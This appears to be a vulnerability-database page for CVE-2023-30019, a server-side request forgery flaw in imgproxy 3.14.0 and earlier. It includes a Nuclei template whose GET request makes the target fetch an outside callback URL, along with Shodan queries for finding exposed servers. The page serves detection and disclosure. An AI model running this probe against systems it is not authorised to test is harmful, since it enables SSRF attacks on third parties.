CVE-2023-30019: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)

2025-08-01 Imgproxy PoC Public

Description

imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.

Details

CVE
CVE-2023-30019 · CVE.org
Severity
中危
Affected
Imgproxy
Published
PoC
Public

PoC

id: CVE-2023-30019

info:
  name: Imgproxy <= 3.14.0 - Server-side request forgery (SSRF)
  author: DhiyaneshDK
  severity: medium
  description: |
    imgproxy <=3.14.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade to a version of Imgproxy that is not affected by this vulnerability.
  reference:
    - https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy/
    - https://github.com/imgproxy/imgproxy
    - https://github.com/j4k0m/godkiller
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30019
    cwe-id: CWE-918
    epss-score: 0.02214
    epss-percentile: 0.82914
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,imgproxy,ssrf,oast,evilmartians,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/111/rs:fit:400:400:0:0/plain/http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Invalid source image

      - type: status
        status:
          - 422
# digest: 4a0a00473045022100f1a696374810136d53f4309cd8e0c5d5eb51eb6f050c0f47cc7629ab989153ce02202856399d10f44962f87df6009e80229e89256fb80d1c93d78b98c6333dc4ba23:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life